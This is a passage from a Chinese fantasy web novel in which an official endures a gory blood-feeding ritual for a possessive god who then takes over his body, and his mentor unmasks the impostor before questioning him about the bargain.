“所以后来不就没扔你吗?”楚明铮不耐烦道:“你这孩子怎么……跟齐栩一样记仇?” 祝檀雪在前边“扑哧”一声笑了出来。 “你在天家村里,那个田野上,为了找线索还一直让别人掐我,逼我哭……我当时很累的,你一点都没心疼我……” “是的,毕竟我生你一场,也挺不容易的,你总得给我付出点代价。”楚明铮残酷道。 “妈妈,你好残忍。” “那你换个妈。”楚明铮没好气道。 “我已经通知过医院封锁消息了,不会有任何人知道今天的事情。”祝檀雪一边忍笑,一边扳着方向盘道:“然后……我这就通知长官,不过如果他现在还跟主神在一起的话,我估计他暂时收不到消息。” “这个好消息,他起码得等明天才能知道了。” 楚明铮无可奈何道:“这算什么好消息……” 那个宝宝座椅显然已经用不上了,鬼少年披着楚明铮的外套,跟楚明铮一起坐在后排的座位上,时不时兴奋的打量着窗外。 恰好此时一夜已过,天边泛起了第一缕鱼肚白。 他伸手拽了拽楚明铮的衣袖:“妈妈,那是什么?” 楚明铮已经对“妈妈”这个称呼麻木了,随便他怎么喊,听到他说话,就顺着鬼少年所指的方向去看,只见窗外晨光熹微,一缕微弱的朝阳从东升起,隐隐从云层里透出光芒来。 “朝阳。”楚明铮解释道:“每天第一缕阳光的意思。” “第一缕阳光……”鬼少年低下头,心里暗自琢磨着。 他突然抬起眼睛,兴奋的问楚明铮:“妈妈,我以后能叫楚朝吗!我喜欢这个名字。” 楚明铮动了动喉结,沉默片刻,开口道:“可以。” 祝檀雪从后视镜里朝他们瞥了一眼,眼底流露出赞许的光芒:“好名字。” “我也这么想!”楚朝高高兴兴道。 “齐长官也会很喜欢这个名字的。”祝檀雪笑道。 楚明铮头疼的将额头抵在了车窗玻璃上:“求你了,这种时候别提他,闹心。” 第69章 祂并不擅长武力斗殴。…… 齐栩站在象征着主神的那面巨大的图腾画前。 那幅壁画足足有十来米高,拔地而起,一眼看不到尽头,画中色泽明艳绮丽,油彩朱砂,水墨混杂,说不上来到底是东西方哪种风格,也说不上来是哪一派的画风,总之看的人很不舒服。 无数浓墨重彩间,隐隐勾勒出一个图腾的形状。 那具体是个什么样貌的兽类,齐栩在主控中心上班多年,说实话他也没看清楚过,毕竟这玩意儿十米多高,把他脖颈打折了再凭空拉长一段,那都看不全乎。 齐栩在它面前站着,显得分外渺小。 “你来啦……”空中的声音低沉而空灵,渺渺盘旋在天地间,又被风声裹挟,落入齐栩耳中。 “嗯。”齐栩掀起外袍,单膝点地:“主神。” “那就进来吧。”主神懒洋洋的道:“你知道我喊你来干什么,我没力气了。” “知道。”齐栩垂着眼睫起身,径直走到了图腾墙的身后。 墙后立着一道小门,古铜色的门把手和油漆,看起来很不起眼,齐栩将手放在门把手上,按下去的前一秒,还是忍不住打了个寒颤。 主神在空中笑了:“你已经进去多少次了,怎么还是这么害怕,有点长进没有?” 齐栩深吸一口气,低声道了句:“抱歉。” 随即他不再犹豫,推门而入。 古铜色的门后,是一间逼仄狭小的牢房,地面上铺陈零散的稻草和刑具,四下全是血腥味。 牢房正中间是一个半人高的高台,通体漆黑冰凉,边缘处还带着点残留的黑血。 这是一个刑台。 齐栩面不改色,将外套一脱,随手扔在地上,直接躺了上去,目光落在头顶的天花板上,眼底神情很淡,看不出来有恐惧,或者是别的神色。 下一秒,他所躺着的刑台下方骤然横出几道利刃,由下而上,瞬间刺穿了齐栩的肋骨! 齐栩痛的浑身一颤,犹如一只脱水的游鱼,整个身体不受控制,狠狠在台面上一哆嗦,四肢手脚下意识想蜷缩起来,然而主神没有给他这个机会。 接二连三的锋刃自刑台下闪电般递送而出,依次贯穿了齐栩的腰腹,胸肺,手腕,脚踝……刀锋在他的骨肉里发出浑浊的搅动声。 齐栩死死瞪大着眼睛,喉咙里灌满了血水,连一丝呻吟的余地都没有。 他身上现在任何一处伤痕拎出来都是绝对的致命伤。 但是齐栩没死,换个说法,他也死不了,只能硬生生的忍着这种地狱般的折磨。 高台的边缘沟堑着无数纹路,细看之下,那竟是一条条血槽沟壑。 齐栩的血水从身下逐渐蔓延开来,沿着刑台上的血槽汩汩流涌,最终汇成一道血色的小溪,一路注入不远处的圆形祭坛中。 浓郁的血水在祭坛中被无形的大手搅动着,片刻之后顺着底部的管道再次流涌至干涸。 谁也不知道那些血水究竟去哪儿了,它从祭坛流去了哪里,至今是个未解之谜。 但是如果这时候齐栩有力气起身,从刑台里下来,再走到图腾面前去,仔细观察的话。 他就会发现,图腾的颜色比方才更明艳了,位于壁画中心的那只无名兽类,正以一个几不可察的幅度轻轻的舔着嘴角,露出魇足的神情。 刀锋们从齐栩的身上凭空消失了。 齐栩浑身颤抖着从高台上翻身下来,身上没有一处完好的地方,腿上无力,刚挣扎着往外走动的几步,随即腿一软,重伤难捱之下踉跄跪地。 他抬起那只满是鲜血的手,气息虚弱的扶着刑台,勉强支撑起身形,轻轻呛咳着喉咙里的血块。 神情痛苦至极,这刑罚的残忍程度,与直接凌迟活人都无异了,齐栩感觉自己是从绞肉机里走了一遭。 “我吃饱啦。”空中那声音很轻快的传了过来,带着愉悦的上扬音调。 齐栩仍然垂着头,血水滴滴答答的从嘴角滑落,瘦长的身躯蜷缩在地上,连开口回话的力气都没有。 风声呜咽,主神这时候倒是不急了,无形的盘旋在室内上空等他。 齐栩伏在刑台旁,艰难的又皱了一下眉心,他闭上眼睛,身体逐渐开始恢复,残破的洞穿口处长出血肉,被刀锋斩断的骨骼重新在体内咯吱咯吱的连接,重组…… 充斥着血浆的呼吸道也被一股不明力量快速清理干净,又过了好长时间,齐栩终于剧烈呛咳着,能张口说出第一句话了。 “多谢主神……”他低声道。 各个零件虽然恢复的完好无损了,但是身体的余痛却还在。 齐栩的声音虚弱而沙哑,他仍然靠在刑台旁,半天都站不起来身。 好在他的大脑还十分清醒,他对自己遭遇的一切并无怨言。 这是与主神做交易应该付出的代价。 这也是主神始终让他呆在这个执政官位置上的重要原因。 齐栩不怕疼。 他只怕自己不够强,不够强到让自己保护楚明铮。 主神能给他想要的东西,那他就甘愿为主神奉献出年轻甘甜的血水。 在这个世界上,没人能违抗的了主神。 祂所代表的力量,能将整个世界都倒转过来,倾覆天地。 齐栩从被祂选中的那一天就知道这个事情,一神之下,万人之上的背后,是无数次酷刑加身的血泪。 但是刚才也说了,齐栩不怕疼,他怕不够强。 “休息好了就自己出来。”那道声音飘飘悠悠的,晃到图腾上去了。 齐栩蜷缩着身躯,又静默着在地上委顿了一会儿,眉心蹙的死紧,衣服上全是血腥气,已经被粘稠的血水浸透了,囚室里冷风一吹,那冰凉湿漉的布料紧贴上齐栩的身体,冻的他连着打哆嗦,然后牵动了身上的余痛,又是半天爬不起来。 过了大约一刻钟时间,齐栩终于攒足力气,从地上爬起来了。 他一步一步缓缓挪到了那扇黄色铜门前,推门而出,屋外的图腾已经等他很久了。 “好点了吗?”那声音温和的问他。 “回主神,好多了。”齐栩依旧跪下来,强忍着难受回答道。 “无妨,你再休息会儿吧,今日找你过来,就是为了此事,现下我已经吃饱了,你我在这里唠唠旧事,也算不白委屈你这一遭。” 齐栩此时已经调稳了气息,平心静气的说:“为主神出力,不委屈。” 一人,一“神”对立着静默半晌,头顶传来悠然而空洞的歌声。 齐栩安静的听了一会儿,开口道:“您今天心情不错。” “当然。”主神带着笑意回答。 “为什么?” “因为你来喂我了。”主神语气里笑意更浓。 “你说奇不奇怪,副本里每年死的人成千上万,可我偏偏最喜欢你这个活人的血。” 齐栩单手握拳,抵住嘴唇咳嗽了几声。 “甘甜,滚烫,浓郁……”主神陶醉道。 齐栩尴尬的笑了两声:“您喜欢就好。” 那声音又悠然自得的哼了一会儿歌,末了忽然想起来什么似的问:“你刚从沙漠副本出来,有什么新奇的事情要告诉我吗?” 齐栩略一思索,回答道:“有。” “说来听听。”主神补充道:“要是讲你副本里的感情经历,可就免了啊……我对楚明铮很感兴趣,奈何他不听话。” 齐栩沉声道:“不是。” “那是什么?” “我见到我的上一任了。”齐栩道。 “啊?”主神显然没料到这茬,空气里仿佛有道气流都凝固了。 “上一任指挥官,我记得他也姓贺,对吧?”齐栩声音很轻的道。 大殿里一片寂静。 “主神,你我都知道彼此的来处和归途,您不应该觉得,这件事能瞒的过我。”齐栩一字一句道:“您也姓贺,宋楚秀的师兄也姓贺,据我所知您选的上一任执政官也姓贺,同时那位贺师兄在去世几年后重返人间,并且被宋楚秀看到了。” 依旧一片寂静。 “三个人全部姓贺,且他能在副本里像我一样死而复生,然后又不知所踪……你们之间的联系太过千丝万缕了,由不得我对此进行推测。” 主神阴沉沉的笑了:“你推测出什么来了?” “我觉得宋楚秀没有说谎。”齐栩盯着地面道:“贺师兄没死,因为他就是上一任执政——” 一道阴风自空中而来,悍然击中了齐栩的腹部,将他揍的当胸一口血水,眼前一黑,险些昏迷过去。 四面横幅无风自动,昭示着从上而下的警告。 齐栩伏在地上,缓缓吐出一口带血的气息,沙哑道:“抱歉,我不该揣测您的。” “很好,既然你已经成功推测出了你上一任的身份。”那声音居高临下道。 “不如再来推测推测,他最后的下场是什么?” 主神的声音里透着残忍,朝齐栩威压而去。 齐栩伏在地上,闭上眼睛,说出了他当年继任时,主神告诉他的下场。 “血水放干惨死,但是由于同主神的共生关系还在,所以被保留了一丝魂魄,强留在体内……数百年禁锢在您收藏的人佣木乃伊里,不死不活,但是意识清醒的被囚禁百年……” “嗯,记性不错。”主神满意道。 齐栩握紧了僵冷的手指,惨笑一声:“毕竟也是我的归宿,我当然记得。” “你应当感谢我。”主神轻飘飘的道。 “我在百年之内给了你无上的荣耀地位,还有不死之身,百年之后,你当然得由我处置。” …… “还有个事。”主神的声音居高临下对他道。 齐栩费力的从地上爬起来,用手撑了一下地面,维持好那个单膝跪地的姿势:“您讲。” “我最近好无聊。” “你把你的身体给我,我想出去玩。”主神要求道。 齐栩一怔:“这……” “放心,我不干别的。”主神安慰他道:“我就用你的身体,逛逛街,吃点好吃的,看看路边的风景……嗯,还有我想跟楚明铮玩耍一番。” “楚明铮”三个字一出,齐栩猛然瞪大眼睛,张口就道:“不行——” 然而主神的旨意,由不得他说行不行。 下一秒,齐栩的身体就向前倾倒下去,眼睛一翻,失去了意识。 …… 楚明铮在地下卧室里跟楚朝大眼瞪小眼。 “妈……”楚朝委委屈屈的开口。 “闭嘴,不许这么叫我!”楚明铮呵斥。 楚朝耷拉着眼皮看他。 楚明铮坐在沙发上,一手握着烟,一手拎着打火机,烟盒被拆开了盖子,放在一边。 楚明铮一根接着一根抽,一时分不清是他的神情比较愁云惨淡,还是他头顶缭绕的烟雾比较惨淡。 “妈,你往好处想,我以后进副本,就不用你抱着我了,我现在腿有这么长!”楚朝比划了一下自己腰身以下的部位:“我完全可以自己走路啊!” 他诚恳道:“再说了,我的存在,难道不促进你跟齐栩的感情吗……” 楚明铮抄起一旁的烟盒,“嗖”的一声朝他砸去。 楚朝激灵灵的往旁边一躲:“好的妈妈,我不说了。” 楚明铮气呼呼的伸长手臂,将烟盒拿了回来,他一脑门子官司的又抽了会儿烟。 半晌,他捏着烟棒,走到了楚朝面前,居高临下一抬下巴:“你还有什么功能?” “什么什么功能?”楚朝不明就里。 “你除了哭声能打退敌人,还有什么功能在副本里能用上?”楚明铮冷冰冰的盘问。 “你总得有一点,说服我留下你的价值。” 楚朝漆黑的眼珠子滴溜溜的转,他思考了一下,举手小心道:“我不会死……这个算,算吗?” 楚明铮面无表情的看着他:“不算,你不会死是你的事情,跟我有什么关系。” “我不会死,我就永远不会离开你,你就不会为我伤心啊妈妈!”楚朝动之以情晓之以理。 楚明铮:“……” 楚明铮抬手按下呼唤铃,召来两个值班的警卫:“你好,帮我把这孩子洗刷干净,然后趁夜深人静丢出去吧,我核实过了,他留下来没什么用,不要占用府邸的口粮。” “妈妈——妈妈你不要这样啊!我可是你亲生的孩子!齐栩可以证明这一点,他那天晚上全程在场——” 两个警卫一左一右把他拖着拎走了。 不过他们当然没把鬼少年扔出府邸,毕竟全府上下都心知肚明,这就是齐栩的孩子。 两人一边给楚明铮陪笑,一边带着鬼少年出去安顿了。 “楚先生,能先送去西苑吗,让他跟小妙小姐他们熟悉熟悉?” “随便。”楚明铮烦躁道。 “楚先生,今天的晚饭得稍微晚点送到,厨娘家里有事,白天请假了。” “都行,我不饿。” “楚先生……” “哎呀你们有完没完,有事一次性说全好吗?”楚明铮忍无可忍回过头怒道。 “好的,那个……长官回来了,他马上下来找您,您先收拾一下。” 两个警卫迅速的走了,留下楚明铮一个人在风中凌乱。 楚明铮长出了一口气,转身又陷回了沙发里,感觉浑身骨头都绵软下来,仿佛被打了麻药一般,又疲倦又沉重。 这都什么事…… 齐栩果然没一会儿就从楼上下来了,他一身衬衣长裤,姿态闲散靠在卧室的门槛前,很有礼貌的抬手敲了敲门:“师父。” “进来。”楚明铮头也不抬道。 对方迈着轻快的脚步,走到了他面前,笑盈盈的跟楚明铮对视了一眼,完了转身在他身侧坐下:“师父,你干什么呢?” “抽烟。”楚明铮晃了一下手上的香烟,很想问一句你是瞎吗。 齐栩盯着他手中的那根烟,目光一错不错,专注的看了半晌,然后很认真的问:“我能尝一口吗?” “不能。”楚明铮拒绝的干脆利落。 并且加快了速度,三下五除二将烟抽完,往烟灰缸里一按,起身去洗漱。 “你收到祝秘书的消息了没有?”楚明铮随口问道:“关于鬼婴的。” 齐栩站在他身后,看着他洗漱的背影,温和的摇了摇头:“没有师父,我从主控中心回来还没来得及看手机。” “您现在告诉我吧。” 楚明铮莫名其妙的瞪了他一眼:“看个消息能耽误你几分钟?再说你自己当时在天家村要死要活的无论如何要留下那个孩子,现在他长大了,你怎么反倒不关心了?” 齐栩眨了一下眼睛,缓慢的露出一个抱歉的微笑:“我疏忽了。” 楚明铮不以为意,挥手道:“算了,知道你忙,晚上还有别的事吗?” 齐栩又是摇了摇头:“没有了,我能在这里陪着你吗?” 楚明铮:“……?” 他抬头看了一眼镜子,镜子里映出齐栩的身形,不偏不倚站在楚明铮右后方的位置,得以让楚明铮看清此人的全身。 “当然可以。”楚明铮不动声色的说。 他拿过毛巾,擦了擦手上的水珠,随意指挥道:“那你上床等我吧,我还得冲一下身上的沙子。” 齐栩没说什么,转身出去了。 楚明铮看着镜子里缓缓下坠的水滴,眉心逐渐蹙了起来。 他拧开水龙头,将凉水往自己脸上又拍了几下,强迫自己在极度疲倦的状态下,还能保持头脑清醒。 他回到卧室,齐栩果然在床上安分守己的躺着。 见到楚明铮裹挟着一身水汽出来,就下意识紧绷了一下身躯,朝他的方向探起身。 楚明铮没有第一时间上床,先是背对着他,若无其事的站在书桌前打开手机,低头回消息。 “师父。”身后的齐栩张口道。 “嗯,你说玉文盐。” “你当年为什么不肯加入主控中心?” 楚明铮放下手机转回身:“不想加,没原因。” “强者风范吗?”齐栩思索道。 “不是,就是懒得应酬。”楚明铮过来掀开被子,准备上床:“我不喜欢办公室斗争,这点你知道的。” “办公室斗争有利于实现人生价值。”齐栩轻描淡写的说。 “那叫浪费人生价值,这点我也教过你。”楚明铮站在床畔,迟迟没有上去。 齐栩拍了拍松软的床铺,对他笑道:“怎么不上来?” 楚明铮收回拎着被角的手,目光慢慢犀利起来。 “因为你看起来,不太愿意我上去跟你同床共枕。” 齐栩柔和道:“何出此言?” “你的肢体动作下意识朝后缩,手臂微屈,放置身前,明显是在抗拒我的靠近,整个身体呈弓形防备状,像只可笑的虾米。”楚明铮站在床前,嘲讽的对他说道。 齐栩看了看的手脚和肢体,困惑道:“有吗?” “有。”楚明铮肯定道。 齐栩用舌头顶了一下腮帮子,让自己的肢体放松下来,温和道:“师父,你看错了。” “那好。”楚明铮拍了一下手,直接上床,伸手就去解对方的衣领:“我们现在就脱衣服,今晚你跟我像从前一样,做一个晚上,如何?” 齐栩的眉宇间流露出一丝惊惧的嫌恶。 他下意识挥手去挡楚明铮的手:“别碰——” 下一个瞬间,楚明铮变掌为拳,就着这个伸手过去解扣子的姿势,一拳抡在对方脸上,趁着“齐栩”愣神的功夫,三下五除二反剪对方双臂,在床上一把将他按翻过去,强行压制在被褥里。 “你不是齐栩。”楚明铮居高临下的压制着他道:“你到底是谁?” “齐栩”费劲的在他身下挣动了两下,奈何楚明铮深谙人体筋骨结构之道,知道自己硬碰硬肯定揍不过齐栩的这具身体,干脆使了个巧劲,将他连人带马别扭着抓在手中,“齐栩”稍微一动,身上各个关节和筋骨处就发出生涩的疼痛来。 他不得不将脸埋在枕头里,惨笑着喘息着道:“你是怎么分辨出来的?” “好吧,那我来告诉你,从你进来到现在的一系列动作,如果是齐栩本人,他会怎么执行。”楚明铮加重了手上的力道,一条一条给他分析道。 “首先如果是齐栩本人从外边进来,看到我坐在沙发上,第一个反应一定不会像你那样,很有距离感的坐在我身侧。” “他会走进来连外套都不脱,往沙发上一倒,就朝我身上黏糊,然后顺手就去抢我抽剩下的烟,一手抓住我的手腕不让我动,一手捏着烟两下抽完。” “然后再黏黏糊糊的过来要跟我接吻,说师父你下次不许抽烟了,求你了好不好,你抽烟对身体不好,我看着也心疼……是的,别用那种震惊的眼神看我,他平时就这么肉麻。” “齐栩”:“……” “接下来,我告诉你我要去洗手间洗漱,你一直像个傻子一样的站在镜子后边,眼神里什么情绪都没有,这点就很不合理了。” “我看你的背影需要有什么情绪?!”冒牌货齐栩怒道。 楚明铮冷笑一声:“错,你不需要有情绪,你这个时候需要的是行动。” 冒牌货一脸震惊的用余光瞪他。 “如果是齐栩本人,从我在洗漱台前站定的那一瞬间起,他就会不依不饶的搂过来了,然后在我洗漱的间隙继续黏糊,一直搂着我的腰,直到我动手揍他为止。” 楚明铮的眼睛里闪烁着讥诮的光。 冒牌货在他身下快把气喘断了,奈何楚明铮怎么都不松手,于是只好开口威胁道:“你对我使这么大力气,就不怕我怒极攻心,跟你鱼死网破,伤了这具身体吗?” 楚明铮微微一笑:“不怕。” “我知道他这具身体有异于常人的地方,根本不怕受伤,也不怕死,你尽管使劲,我不在乎。” 冒牌货看起来要气冒烟了。 “还有,这一点异样我想你自己也能察觉的到,那就是你根本不是男同性恋,你很排斥跟我有肢体接触。” “我上我自己的床,跟你同床共枕,你眼里的厌恶都已经藏都藏不住了。” “齐栩可不是这样的,他如果听到我说‘我去洗漱,你在床上等我’类似的话,他会高兴的从床上蹦起来,再做几个俯卧撑向我表达他喜悦的心情和高能的身体素质。” “你们两个违背人伦的王八蛋——” 楚明铮伸手拍了拍他的脸颊,不屑道:“你明知道他违背人伦,私生活让你不能接受,你为什么还要假扮成他,故意往我床上送呢?” “年轻人,思想别总是这么矛盾。” 冒牌货七窍生烟,怒声反驳:“你喊谁做年轻人呢!我年纪说出来吓死你!” 楚明铮笑道:“是吗,那我可真要吓死了呢。” “还有最后一处破绽,不过这个破绽不是你的问题。”楚明铮的语气放缓了下来,少见柔和的说道:“是我的缘故。” “就是你跟齐栩,喊‘师父’这两个字的语气实在太不一样了。” “他是我带大的,他喊我‘师父’这两个字的次数,没有一亿也有千万,每一个字眼的落尾和起调,我都无比熟悉。” “我知道真正的他喊我的时候,是什么样的,所以你一开始就暴露了。”楚明铮遗憾道:“但是出于礼貌,我还是跟你对答了快十分钟。” “你应该感动于我的礼貌和素质,让你这趟不算白跑,起码我还跟你说了几句话,让你有所收获。” 冒牌货把脑袋埋进被褥里,看起来已经放弃挣扎了。 楚明铮不紧不慢的调整了一下自己的捆缚姿势,开口道:“那我们来换个话题吧,你是谁?” 冒牌货不答话。 楚明铮便思索着开始分析。 “首先,你在精神力,以及某种天赋方面的实力是在齐栩之上的,这样你才能直接入侵他的魂魄,占据他的身体,并且操控他的身体跟我进行一系列对话。” “但是你进入了齐栩的身体之后,却并没有展现出你本身的能力,你只能操控齐栩原本拥有的东西,说明你的能力是受限制的,或者说,你的能力在你灵魂脱离自己本身的容器,而进入齐栩身体之后,就不能用了。” “受限制程度还比较大……”楚明铮一手按着他,一手轻轻叩着床榻做思考状:“你会是什么人呢?” “嘶……首先在这个系统里,自身等级高于齐栩的人就只有——” 副本世界的执政官,一神之下,万人之上,这个念头电光火石间穿过了楚明铮的脑海。 楚明铮心神俱震,难以置信的问:“你是主神?” 他话音刚落,手下就感觉那股对抗挣扎的力道一松,齐栩软绵绵的昏倒过去,在楚明铮的桎梏下失去了意识。 楚明铮心里暗骂一声,还没多问几句,就让他给跑了! 他也不能确定,刚才上齐栩身的东西是不是主神,也有可能是别的妖魔鬼怪,不对,这里是现实世界,又不是副本,现实世界里的妖魔鬼怪不就主神一个吗? 楚明铮心里一团乱麻。 他伸手把齐栩捞起来,费劲巴拉的掀开被子,又把人塞进去。 齐栩靠在枕头上睡的很沉,不知道是不是楚明铮的错觉,他总感觉齐栩的脸色比较两个小时之前,刚出沙漠副本的时候,要苍白的多。 嘴唇也是毫无血色,泛着灰暗的光泽。 楚明铮看着他的脸,身体上已经疲惫到极点了,精神上却怎么都睡不着,只好烦躁的站在门口,又抽了几支烟。 寂静的地下室里烟雾缭绕,充斥着楚明铮无声的忐忑。 …… 齐栩是在一个半小时后,才痛苦的翻动了一下身体,勉强睁开眼睛醒神过来的,刚才受刑时被刀刃刺穿的部位还在隐隐作痛,虽然外部已经看不出伤口了,但是齐栩心里知道,要想身体状况完全恢复,还得忍几天这种疼痛。 他忍着骨头缝里的涩疼,醒过来的时候就惊恐的发现,楚明铮坐在他的床边。 楚明铮垂着眼睛小憩,看起来睡的不沉,应该也是刚眯着。 “……师父?”齐栩疑惑的喊了他一声。 楚明铮瞬间惊醒过来,他上前两步,握住齐栩的肩膀,反复确认了两下,确定就是齐栩本人,这才松了口气。 “还好是本尊,我差点以为你回不来了。” 齐栩看了一眼周围的环境,再结合自己失去记忆前的场景,以及楚明铮刚才的反应,大概把自己失去意识期间的事情猜了个大概。 两人在床上一坐一卧,面面相觑,谁都不知道该如何开口。 过了十来秒,齐栩猛然间好像想到了什么,一把抓住楚明铮的双腕,掀他的衣服就要检查情况,一边检查一边急切道:“师父,你没受伤吧?他,他没把你怎么样吧?你哪里不舒服,让我看看!” 楚明铮被他弄的手足无措,衣服袖子都被扯了半拉,险些没在床畔被这人给把上衣扒光了。 “哎!停停停……”楚明铮挣扎起身,奋力从他手中抢救自己的袖子:“我没事,你松手!” 齐栩眼眶发红,神情里充满了后怕。 “你先看看自己手腕!”楚明铮喘过一口气来,给他示意着吩咐道:“有没有扭伤的痕迹?” 齐栩一愣,随即目光下移,活动了一下手腕,发现居然还真有一点疼。 齐栩目瞪口呆:“……师父,你打过他了?” 楚明铮在他床前倨傲的抱起了双臂,一副为师宝刀未老的模样。 不过这个事情稍加推测也算合理,主神的精神力只能在他身处那个壁画附近的时候,才能使用,而他附身在齐栩身上,也就等于说自己放弃了自己的精神力。 祂并不擅长武力斗殴。 哪怕他拥有了齐栩的身体力量和机能。 那他打不过楚明铮就很合理了,楚明铮再怎么身体退化,那也是相对于齐栩而言的羸弱,他年轻时候无数次生死搏杀间的下意识反应并没有丢掉,压制个刚掌控身体的灵体简直再容易不过了。 齐栩松了口气:“那就好,那就好。” “师父你没受伤就好。” 他精疲力尽的靠回床榻上,想再睡会儿,然而楚明铮倾身上来,一把按住了他的手臂:“齐栩。” “啊?”齐栩对于他突然的靠近,有点受宠若惊。 “你老实告诉我,你十几岁的时候,因为绞刑架副本我选楚小妙不选你,跟我闹脾气离家出走那阵,你到底经历了什么?” 楚明铮的神情很严肃,而且力道坚决,大有你不回答我,我今天就不松手的意味。 “你到底跟主神是什么关系?” “为什么你会被他选中,成为这个执政官?” 换了平时,他要是用这个态度来逼问齐栩任何问题,齐栩都能高高兴兴的回答,然后再从善如流的在他面前撒娇讨个欢。 但是今天这个不行。 齐栩的神情沉了沉,将楚明铮的手推了下去:“师父,这不是你应该知道的。” 楚明铮气不打一处来:“什么叫做不是我应该知道的?!” “我是副本除你之外排行最高的玩家,你当我是不能进主控中心吗?当年主控中心求着我进他们总部,给他们当指导者的时候,你还不知道在哪儿呢!” “我知道。”齐栩叹了口气:“但是这个真的不行。” “刚才附在你身上的是不是主神?”楚明铮喝问。 齐栩倒抽一口凉气,目光躲闪:“师父,我不知道……” “你看着我的眼睛说话!”楚明铮伸手就掰他下颌:“你从小撒谎就眼神躲闪,装都装不像。” 齐栩实在没办法,反手握着他的手腕,一把将他卷进了被子里,顺带用臂弯一搂,箍的死紧:“师父,求你了,别问了,你以前不是从不关心我这些事的吗?” “他都附在你身上来找我了,我不能问清楚他是个什么东西吗?” 楚明铮烦躁的去拍他的手臂:“撒手!别一言不合就抱我,我烦着呢。” “对啊,我之前怎么没想过问你这个呢。”楚明铮思忖着说道:“你是离主神最近的人,你难道不应该知道一点这个所谓‘神’的内幕吗?” “那如果知道了‘神’的内幕,万一我们能想办法结束这个游戏——” 齐栩攥着他的手腕,俯身就堵他的嘴唇,逼着楚明铮不得不停下了话音,仰头接受这个急促的亲吻。 “那……得有多少无辜的人能免于丧生……呜……你松开我!”楚明铮被亲的含含糊糊,难以挣动分毫,却仍然试图从嘴里吐出点字句来。 齐栩无奈,只好他一试图说话就亲,一张口就含上去,身体力行的阻止楚明铮说危险言论。 弄的楚明铮气急败坏,最后忍无可忍张嘴要咬他,齐栩也不挪开,将唇吻停在原地,任由他啃咬。 唇齿交缠间,很快弥漫出淡淡的血腥气。 楚明铮方才跟人打架,都大气不喘一下,现在被按在床上亲了一两分钟,很快就气喘吁吁,脸颊薄红着上不来气了。 “你……” 齐栩一脸头疼,试图把这个话题混过去:“师父,我以后再给你说,好不好?” “咱先不问了呗,不问了嘛……听话……” 楚明铮靠在枕头间休息了片刻,猝不及防问他道:“你是不是在害怕?” 齐栩心说废话,能不害怕吗? “你在怕什么?”楚明铮狐疑道:“这空气里,有主神的耳朵?” 齐栩沉默了半秒,言简意赅道:“主神无处不在。” 他最后在楚明铮嘴唇上蜻蜓点水的吻了一下,紧接着就从床上起身,站起来开始穿衣服。 “你去哪儿?”楚明铮问。 “回办公室。”齐栩回答。 楚明铮:“?” “我在这儿你就又要问我问题了,我去办公室躲一下。” 楚明铮:“……” 他的背影很快消失在地下室的出口处,楚明铮的神情更加凝重,他总觉得世界上没有无缘无故天上掉馅饼的事情,齐栩到底付出了什么代价,才得到的如今主控中心一把手的位置? 楚明铮捻磨着手指,觉得自己又想抽烟了,然而他遍寻四下,都没找到自己刚才拆开的那包烟盒。 他愣了两秒,后知后觉意识到是被齐栩顺手带走了,不觉心里又是暴躁的暗骂几声,翻身睡觉去了。 第70章 是的,我跟楚明铮有一个…… 齐栩连衬衫下摆都没能塞进腰带里,就这么十分匆忙且狼狈的从楚明铮卧室的那个楼层逃窜出去了。 跑到一半的时候,身后忽然传来一个清澈的少年音,叫住了他:“爸爸。” 齐栩下意识站定了脚步,他有点茫然,因为这座府邸里从工作人员到常住人口,没有一位是已婚有娃人士。 齐栩潜意识里偶尔觉得自己是已婚的。 但那只是潜意识,他要是敢当着别人的面说楚明铮是他老婆,那他真是不想活了。 齐栩回过头去,只见对面台阶上站着一个面容苍白的瘦削少年。 穿着身不伦不类的长裤和马甲,披着楚明铮衣柜里那身熟悉的长风衣,鞋子甚至还是穿反的,很别扭的挂在脚上。 齐栩跟那鬼少年对视了大约十秒。 鬼少年以为他没听清,于是又很清晰的喊了他一声:“爸爸。” 齐栩倒抽一口凉气,直挺挺就要往下倒。 鬼少年一个箭步冲上前,将他的身躯拦腰扶稳:“爸爸,你别晕!是我啊!你不认识我了?” “认识,认识……”重伤未愈又横遭刺激的齐长官虚弱着道。 鬼少年站在齐栩身侧,小心翼翼的看着他。 齐栩扶了一下旁边的树干,看上去还没从天降儿子的惊恐中回过神来。 “我以为你见到我会很高兴的。”鬼少年小声道。 “我高兴。”齐栩捂着心脏道。 “你看起来很害怕。”鬼少年指出。 “换了是你你也会害怕的。” 鬼少年思考了一下:“如果我来当爸爸,你当儿子,也可以,我能接受。” 齐栩:“……” 我不接受。 齐栩颇为头疼的用拳头揉了一下太阳穴:“楚明铮和小祝带你回来的?” “是的。”鬼少年高高兴兴道:“我妈还给我起了名字。” 齐栩:“……?” 现在给孩子起名字这种事情都不用经过孩子父亲同意了吗? “你叫什么?”齐栩斜瞅着他道。 “楚朝,我叫楚朝!”鬼少年铿锵有力道:“朝阳的朝!” 算了,还挺好听的,齐栩把自己安慰了一下,心说不计较了。 这辈子要是跟楚明铮这种大男子主义专断独裁的人,每一件小事都锱铢必较的话,那就纯属给自己找罪受。 “你刚才去哪儿了?”齐栩问。 “刚才?刚才我被妈妈打发走,去西苑见姨妈,还有老马先生他们去了。” “姨妈?”齐栩把这个诡异的称呼在心里转了几下,心说这又是什么鬼。 过了好几秒,他才意识到楚朝口中的这个“姨妈”,指的是“妈妈的妹妹”,也就是楚小妙。 齐栩:“……” “不许喊她姨妈!”齐栩命令道。 楚朝疑惑:“那我应该喊她什么?” “就喊本名,楚小妙。” 楚朝狐疑的挠了挠头,答应道:“好吧。” 父子二人在府邸的院落里面面相觑半晌,楚朝好奇的将他从头到脚全都打量了一遍,认真的问:“爸爸,你现在要去哪儿?” “办公室。”齐栩回答,想了想又道:“你跟我一起,我有别的话要问你。” “好的。” 夜间的主控中心仍然有不少人在加班加点,齐栩带着楚朝从工位人群中穿梭而过,楚朝好奇的这儿看看那儿看看,每一个地方对他来说都是新奇的。 “爸爸,他们在偷偷看你。”楚朝小声对齐栩咬耳朵。 他个子比齐栩矮两个头,走路间想跟齐栩说话的时候不得不抻着脑袋,梗的颈椎剧痛。 “正常。”齐栩漫不经心道。 “别管他们,你走你的路。” 两人穿过走廊和楼层,来到了齐栩的办公室。 齐栩开门把楚朝放进去,自己再将门板一合,隔绝了外界的一切目光。 “坐。”齐栩指了指自己办公室对面的那把椅子,给楚朝示意道。 楚朝的目光却落在了齐栩那把看起来就很舒适的老板椅上,露出渴望的神色:“我想坐那个……” 齐栩:“……” 他叹了口气,让楚朝坐到自己的位置上去了,自己在对面坐下来,起身折腾办公桌上的小茶台。 